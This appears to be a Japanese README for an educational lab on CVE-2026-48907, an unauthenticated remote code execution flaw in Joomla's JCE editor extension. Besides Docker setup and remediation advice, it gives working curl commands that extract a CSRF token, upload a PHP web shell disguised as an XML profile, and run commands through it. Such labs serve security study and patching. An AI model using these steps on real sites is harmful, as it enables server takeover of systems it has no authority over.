CVE-2026-48907 — Joomla JCE 未認証 RCE ラボ

PSsec CVE-2026-48907 の教育用セキュリティ研究ラボ。

概要

CVE-2026-48907 は、Joomla で最も広く導入されているエディタ拡張機能である JCE (Joomla Content Editor) における、重大 (CVSS 10.0) な未認証リモートコード実行の脆弱性であり、すべてのバージョン ≤ 2.9.99.4 に影響します。

profiles.import エンドポイントは、認証なしでファイルアップロードを受け付けます。攻撃者は、XML プロファイルを装った悪意のある PHP ファイルをアップロードでき、そのファイルはサーバーの tmp/ ディレクトリに書き込まれ、HTTP 経由で直接実行されます — 資格情報は不要です。

ラボのセットアップ

前提条件

• Docker + Docker Compose
• Kali Linux (または任意の Linux ホスト)

1. 脆弱な環境を起動する

docker compose up -d

2. Joomla インストーラーを完了する

ブラウザで http://localhost:8080 を開き、以下の資格情報を使用してセットアップウィザードを完了します:

3. 脆弱な JCE 拡張機能をインストールする

wget https://github.com/widgetfactory/jce/releases/download/2.9.99.4/pkg_jce_29994.zip

次に、Joomla 管理画面 → システム → 拡張機能 → インストール → ZIP をアップロードします。

悪用

4. CSRF トークンとセッション Cookie を抽出する

URL=http://localhost:8080
TOKEN=$(curl -s -c cookies.txt "$URL/" \
  | sed -n 's/.*"csrf\.token"[[:space:]]*:[[:space:]]*"\([a-f0-9]\{32\}\)".*/\1/p; s/.*name="\([a-f0-9]\{32\}\)"[^>]*value="1".*/\1/p' \
  | head -n1)

5. 未認証のプロファイルインポートを介して PHP ウェブシェルをアップロードする

curl -i -s -b cookies.txt -c cookies.txt \
  -F "[email protected];type=application/xml" \
  -F "task=profiles.import" \
  -F "${TOKEN}=1" \
  "$URL/index.php?option=com_jce"

6. リモートコード実行を検証する

curl -i -s -b cookies.txt -c cookies.txt \
  "$URL/tmp/shell.xml.php?cmd=id"

期待される出力: uid=33(www-data) gid=33(www-data)

ファイル

修復

直ちに JCE を バージョン 2.9.99.5 以降 に更新してください。

公式ベンダーアドバイザリと旧バージョンの Joomla 向け無料パッチ: JCE セキュリティ更新 — joomlacontenteditor.net

クレジット

• エクスプロイトツールの参考: ynsmroztas による JoomlaSniper
• この脆弱性は、mySites.guru の Phil Taylor によって実地で発見されました
• CISA KEV 登録: 2026年6月16日

免責事項

このリポジトリは、教育目的および許可されたセキュリティ研究専用 です。

テストは、所有している、または明示的な書面による許可を得た システムに対してのみ実施してください。所有していないシステムに対するこの資料の不正使用は、違法かつ非倫理的です。著者および Pansophical OU は、このコンテンツの誤用について一切の責任を負いません。

このラボ環境は意図的に脆弱です。インターネットや信頼できないネットワークに公開しないでください。

PSsec 著